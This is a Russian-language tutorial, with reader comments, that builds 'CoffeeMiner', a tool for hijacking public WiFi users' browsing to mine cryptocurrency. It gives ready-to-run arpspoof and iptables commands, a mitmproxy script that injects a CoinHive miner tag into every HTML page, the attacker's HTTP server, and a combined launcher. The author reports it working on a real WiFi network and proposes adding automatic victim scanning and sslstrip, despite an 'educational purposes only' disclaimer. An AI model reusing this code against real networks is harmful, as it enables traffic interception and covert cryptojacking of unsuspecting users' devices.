Предупреждение: эта статья и проект имеют исключительно образовательные цели.
Несколько недель назад я прочитал этом случае Starbucks, где хакеры взламывали ноутбуки в сети WiFi, чтобы майнить на них криптовалюту. И я подумал, что может быть интересно провести атаку иным способом.
Цель этой статьи — объяснить, как провести атаку MITM (человек посередине) для внедрения определённого JavaScript-кода в страницы HTML, чтобы заставить все устройства, подключённые к WiFi, майнить криптовалюту для злоумышленника.
Задача состоит в создании скрипта, который проводит автономную атаку в сети WiFi. Это то, что мы назвали CoffeeMiner, поскольку атаки такого типа можно проводить в кафе.
Мы рассматриваем ситуацию, в которой есть несколько машин, подключенных к сети WiFi, а злоумышленник с CoffeeMiner перехватывает трафик между пользователями и маршрутизатором.
Реальная ситуация — это маршрутизатор WiFi с подключенными ноутбуками и смартфонами. Мы проверили скрипт в этой ситуации из реального мира — и он работает. Но для этой статьи мы более подробно разберём, как установить его в виртуальном окружении.
Для реализации этого виртуального сценария будем использовать VirtualBox.
Первым делом нужно скачать какой-нибудь дисковый образ Linux и установить его на машине VirtualBox. В данном примере будем использовать образы Kali Linux.
После скачивания ISO-образа готовим три машины VBox с установленным образом Linux.
Для конфигурации описанного сценария нужно подготовить машины, выполняющие следующие роли:
При выполнении атаки ситуация будет такой:
Для каждой машины используем следующую конфигурацию:
Первым делом нужно понять, как осуществляется MITM-атака.
Из Википедии:
«В компьютерных сетях ARP-spoofing (ARP cache poisoning или ARP poison routing) — это техника, когда злоумышленник отправляет в локальную сеть (поддельные) сообщения по протоколу Address Resolution Protocol (ARP). В общем, цель состоит в связывании MAC-адреса злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, так что любой трафик для данного IP-адреса будет вместо этого направлено злоумышленнику».
Для осуществления атаки ARP-spoofing будем использовать библиотеку dsniff.
Mitmproxy — это программа для анализа и редактирования трафика, который проходит через хост. Мы будем использовать её для внедрения JavaScript на страницы HTML.
Для простоты процесса внедряем одну строку кода на HTML-страницы. Эта строка кода запускает криптомайнер:
Когда мы перехватили трафик жертвы, то можно внедрить в него наш скрипт. Для внедрения используем mitmproxy API:
Как мы видели, инъектор добавляет в HTML-страницы одну строчку, с вызовом нашего криптомайнера на JavaScript. Так что нужно разместить файл скрипта на HTTP-сервере.
Чтобы выдать скрипт криптомайнера, запустим HTTP-сервер на машине злоумышленника. Для этого используем питоновскую библиотеку ‘http.server’:
Вышеприведённый код — это простой HTTP-сервер, который отправляем жертвам наш криптомайнер, когда те его запрашивают.
Майнер на JavaScript будет размещён в директории /miner_script. В нашем случае используется JavaScript-майнер CoinHive.
CoinHive — это JavaScript-майнер для криптовалюты Monero (XMR). Его можно добавить на сайт и использовать вычислительные ресурсы CPU на компьютерах пользователей для вычисления хэшей по алгоритму Cryptonight PoW, с помощью которых майнится Monero по протоколу CryptoNote.
Использовать майнер CoinHive имеет смысл, если пользователь остаётся на веб-странице относительно продолжительное время. Так что, например, для сайта со средними сессиями по 40 секунд он не имеет особого смысла.
Поскольку мы внедряем майнер абсолютно на все страницы, то майнер будет работать на компьютерах жертв продолжительное время.
Основная задача — связать все описанные концепции в одну автономную установку. Это и будет CoffeeMiner.
Смысл в том, чтобы один скрипт CoffeeMiner осуществлял атаку ARP-spoofing и устанавливал mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертв.
Сначала нужно сконфигурировать ip_forwarding и IPTABLES, чтобы машина злоумышленника работала как прокси:
Для проведения атаки ARP-spoofing для всех жертв подготавливаем файл ‘victims.txt’ с IP-адресами всех жертв. Считываем эти адреса несколькими строчками на Python (а также IP-адрес шлюза) — и проводим атаку ARP-spoofing для каждого IP-адреса жертвы.
После этого осталось запустить HTTP-сервер:
И теперь можно запускать mitmproxy через injector.py:
Теперь мы объединили все вышеописанные концепции в единый скрипт coffeeMiner.py:
А также скрипт injector.py:
И для начала атаки достаточно всего лишь запустить следующую команду:
Для демонстрации используем виртуальный сценарий с VirtualBox, как описано выше.
Если хотим провести атаку вручную, то нам нужны следующие консоли:
Затем, когда атака ARP-spoofing завершена, а инъектор и HTTP-сервер готовы к запуску, мы можем зайти на виртуальную машину жертвы и открыть какой-нибудь сайт. Трафик жертвы пойдёт через компьютер злоумышленника и активирует инъектор:
В результате на всех HTML-страницах, которые просматривает жертва, будут присутствовать HTML-строчки кода, которые внедрил злоумышленник.
На следующих видеороликах можно увидеть все этапы операции с использованием скрипта coffeeMiner.py:
Как мы убедились, такую атаку легко осуществить. И может быть проведена автономная атака в сети WiFi.
Есть другая мысль, что в реальной сети WiFi лучше использовать мощную антенну WiFi для лучшего покрытия всего физического пространства.
Основная цель данной работы — проведение автономной атаки, но нам всё ещё нужно отредактировать файл victims.txt с IP-адресами жертв. В следующей версии можно добавить функцию автономного сканирования Nmap для добавления обнаруженных IP-адресов в список жертв CoffeeMiner. Ещё одна возможная функция — добавление sslstrip, чтобы гарантировать внедрение дополнительной строчки кода даже на страницах сайтов, которые пользователь запрашивает по HTTPS.
Полный код доступен в репозитории GitHub.
Предупреждение: эта статья и проект имеют исключительно образовательные цели.
Несколько недель назад я прочитал этом случае Starbucks, где хакеры взламывали ноутбуки в сети WiFi, чтобы майнить на них криптовалюту. И я подумал, что может быть интересно провести атаку иным способом.
Цель этой статьи — объяснить, как провести атаку MITM (человек посередине) для внедрения определённого JavaScript-кода в страницы HTML, чтобы заставить все устройства, подключённые к WiFi, майнить криптовалюту для злоумышленника.
Задача состоит в создании скрипта, который проводит автономную атаку в сети WiFi. Это то, что мы назвали CoffeeMiner, поскольку атаки такого типа можно проводить в кафе.
1. Сценарий
Мы рассматриваем ситуацию, в которой есть несколько машин, подключенных к сети WiFi, а злоумышленник с CoffeeMiner перехватывает трафик между пользователями и маршрутизатором.
1.1 Конфигурация сценария
Реальная ситуация — это маршрутизатор WiFi с подключенными ноутбуками и смартфонами. Мы проверили скрипт в этой ситуации из реального мира — и он работает. Но для этой статьи мы более подробно разберём, как установить его в виртуальном окружении.
Для реализации этого виртуального сценария будем использовать VirtualBox.
Первым делом нужно скачать какой-нибудь дисковый образ Linux и установить его на машине VirtualBox. В данном примере будем использовать образы Kali Linux.
После скачивания ISO-образа готовим три машины VBox с установленным образом Linux.
Для конфигурации описанного сценария нужно подготовить машины, выполняющие следующие роли:
- Жертва
- Машина, которая подключается к маршрутизатору и просматривает веб-страницы.
- Злоумышленник
- Машина, где запускается CoffeeMiner и осуществляется MITM-атака.
- Маршрутизатор / шлюз
- Работает как нормальный шлюз.
При выполнении атаки ситуация будет такой:
Для каждой машины используем следующую конфигурацию:
- Жертва
- сетевой адаптер:
- eth0: Host-only Adapter
- /etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15
- сетевой адаптер:
- Злоумышленник
- сетевой адаптер:
- eth0: Host-only Adapter
- /etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15
- сетевой адаптер:
- Маршрутизатор / шлюз
- сетевой адаптер:
- eth0: Bridged Adapter
- eth1: Host-only Adapter
- /etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0
- сетевой адаптер:
2. CoffeeMiner, разбор кода
2.1. ARP-spoofing
Первым делом нужно понять, как осуществляется MITM-атака.
Из Википедии:
«В компьютерных сетях ARP-spoofing (ARP cache poisoning или ARP poison routing) — это техника, когда злоумышленник отправляет в локальную сеть (поддельные) сообщения по протоколу Address Resolution Protocol (ARP). В общем, цель состоит в связывании MAC-адреса злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, так что любой трафик для данного IP-адреса будет вместо этого направлено злоумышленнику».
Для осуществления атаки ARP-spoofing будем использовать библиотеку dsniff.
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim
2.2. mitmproxy
Mitmproxy — это программа для анализа и редактирования трафика, который проходит через хост. Мы будем использовать её для внедрения JavaScript на страницы HTML.
Для простоты процесса внедряем одну строку кода на HTML-страницы. Эта строка кода запускает криптомайнер:
<script src="http://httpserverIP:8000/script.js"></script>
2.3. Внедрение
Когда мы перехватили трафик жертвы, то можно внедрить в него наш скрипт. Для внедрения используем mitmproxy API:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
2.4. HTTP-сервер
Как мы видели, инъектор добавляет в HTML-страницы одну строчку, с вызовом нашего криптомайнера на JavaScript. Так что нужно разместить файл скрипта на HTTP-сервере.
Чтобы выдать скрипт криптомайнера, запустим HTTP-сервер на машине злоумышленника. Для этого используем питоновскую библиотеку ‘http.server’:
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()
Вышеприведённый код — это простой HTTP-сервер, который отправляем жертвам наш криптомайнер, когда те его запрашивают.
Майнер на JavaScript будет размещён в директории /miner_script. В нашем случае используется JavaScript-майнер CoinHive.
2.5. Криптомайнер CoinHive
CoinHive — это JavaScript-майнер для криптовалюты Monero (XMR). Его можно добавить на сайт и использовать вычислительные ресурсы CPU на компьютерах пользователей для вычисления хэшей по алгоритму Cryptonight PoW, с помощью которых майнится Monero по протоколу CryptoNote.
Использовать майнер CoinHive имеет смысл, если пользователь остаётся на веб-странице относительно продолжительное время. Так что, например, для сайта со средними сессиями по 40 секунд он не имеет особого смысла.
Поскольку мы внедряем майнер абсолютно на все страницы, то майнер будет работать на компьютерах жертв продолжительное время.
3. CoffeeMiner, интеграция всего вместе
Основная задача — связать все описанные концепции в одну автономную установку. Это и будет CoffeeMiner.
Смысл в том, чтобы один скрипт CoffeeMiner осуществлял атаку ARP-spoofing и устанавливал mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертв.
Сначала нужно сконфигурировать ip_forwarding и IPTABLES, чтобы машина злоумышленника работала как прокси:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Для проведения атаки ARP-spoofing для всех жертв подготавливаем файл ‘victims.txt’ с IP-адресами всех жертв. Считываем эти адреса несколькими строчками на Python (а также IP-адрес шлюза) — и проводим атаку ARP-spoofing для каждого IP-адреса жертвы.
# get gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
После этого осталось запустить HTTP-сервер:
> python3 httpServer.py
И теперь можно запускать mitmproxy через injector.py:
> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
3.1. CoffeeMiner, окончательный скрипт
Теперь мы объединили все вышеописанные концепции в единый скрипт coffeeMiner.py:
import os
import sys
#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")
# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
А также скрипт injector.py:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
print(flow.response.headers["content-type"])
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
И для начала атаки достаточно всего лишь запустить следующую команду:
> python3 coffeeMiner.py RouterIP
4. Демо
Для демонстрации используем виртуальный сценарий с VirtualBox, как описано выше.
Если хотим провести атаку вручную, то нам нужны следующие консоли:
Затем, когда атака ARP-spoofing завершена, а инъектор и HTTP-сервер готовы к запуску, мы можем зайти на виртуальную машину жертвы и открыть какой-нибудь сайт. Трафик жертвы пойдёт через компьютер злоумышленника и активирует инъектор:
В результате на всех HTML-страницах, которые просматривает жертва, будут присутствовать HTML-строчки кода, которые внедрил злоумышленник.
4.1. Демонстрационное видео
На следующих видеороликах можно увидеть все этапы операции с использованием скрипта coffeeMiner.py:
- Демо VirtualBox:
- Реальная сеть WiFi с подключёнными ноутбуками:
Заключение
Как мы убедились, такую атаку легко осуществить. И может быть проведена автономная атака в сети WiFi.
Есть другая мысль, что в реальной сети WiFi лучше использовать мощную антенну WiFi для лучшего покрытия всего физического пространства.
Основная цель данной работы — проведение автономной атаки, но нам всё ещё нужно отредактировать файл victims.txt с IP-адресами жертв. В следующей версии можно добавить функцию автономного сканирования Nmap для добавления обнаруженных IP-адресов в список жертв CoffeeMiner. Ещё одна возможная функция — добавление sslstrip, чтобы гарантировать внедрение дополнительной строчки кода даже на страницах сайтов, которые пользователь запрашивает по HTTPS.
Полный код доступен в репозитории GitHub.
Предупреждение: эта статья и проект имеют исключительно образовательные цели.
Комментарии (7)
zabbius
22.01.2018 13:14А разве публичные WiFi точки разрешают обмен траффиком между клиентами? Мне казалось, что там по сути много p2p коннектов между клиентами и роутером.
aavezel
23.01.2018 09:17>> 2.4. HTTP-сервер
В чем причина использовать socketserver.TCPServer? почему не использоватьpython -m SimpleHTTPServer
?
Marwin
ну при учете текущих доходностей даже пара десятков ноутбуков намайнят максимум на пару чашек кофе такому хакеру.
А вот если такой фишкой занялась Максима-Телеком в московском метро — это уже совсем другой разговор )) Ну и кстати… а чем не альтернативный вариант платному тарифу без рекламы? Я бы в принципе был не против дать им помайнить в обмен на инет без рекламы. Ну только в контролируемом режиме, типо нажал кнопочку — майнишь, нет рекламы, а батарейка садится — отключил и смотришь рекламу.
granade18
захожу в метро, включаю вайфай, вбиваю адрес, ничего не происходит, вбиваю яндекс, долгая загрузка, высвечивается реклама, потом еще одна, потом глюк? и еще 2 рекламы подряд, а тут уже и выходить пора) думаю если жадные провайдеры встроит скрипт майнинга, после небольшой поездки в метро придется заряжать телефон.
P.S. бойкот всем компаниям что покупают рекламу в метро
zabbius
не будет рекламы — не будет вайфая в метро =) не подключайтесь
impwx
Есть платная подписка, в которой реклама не показывается и устройство подключается сразу же. Пользуюсь уже больше года, вполне доволен (хотя иногда приходится промывать мозги техподдержке). Особенно удобно, что стоя на станции успеваешь подключиться к проезжающим поездам — обычный интернет в метро с появлением wifi практически перестал работать и теперь это единственный способ отправить\получить сообщение со станции.
domix32
Действительно, кому нужна батарейка?